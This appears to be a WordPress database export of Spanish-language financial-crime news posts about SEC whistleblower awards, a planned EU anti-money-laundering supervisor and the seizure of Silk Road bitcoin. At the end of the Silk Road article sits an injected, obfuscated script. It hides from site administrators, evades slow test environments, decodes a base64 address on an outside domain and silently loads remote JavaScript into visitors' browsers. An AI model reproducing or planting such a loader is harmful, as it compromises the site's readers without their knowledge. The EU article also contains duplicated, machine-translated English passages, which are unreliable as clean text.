class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" 